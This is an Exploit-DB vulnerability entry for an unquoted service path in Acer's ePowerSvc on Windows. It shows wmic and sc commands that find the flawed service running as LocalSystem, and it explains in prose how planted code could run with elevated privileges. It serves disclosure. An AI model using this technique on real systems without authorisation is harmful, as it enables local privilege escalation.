ePowerSvc 6.0.3008.0 - 'ePowerSvc.exe' Unquoted Service Path

EDB-ID:

49900

CVE:

N/A




Platform:

Windows

Date:

2021-05-24


# Exploit Title: ePowerSvc 6.0.3008.0 - 'ePowerSvc.exe'  Unquoted Service Path
# Discovery by: Emmanuel Lujan
# Discovery Date: 2021-05-22
# Vendor Homepage: https://www.acer.com
# Tested Version: 6.0.3008.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 7 Home Premium x64 

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

ePower Service                                                          ePowerSv
c                                     C:\Program Files\Acer\Acer ePower Manageme
nt\ePowerSvc.exe                                          Auto

# Service info:

C:\>sc qc "ePowerSvc"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ePowerSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Acer\Acer ePower Management\ePower
Svc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ePower Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other
 security applications where it could potentially be executed during application startup or reboot. If successful, the local user's 
code would execute with the elevated privileges of the application.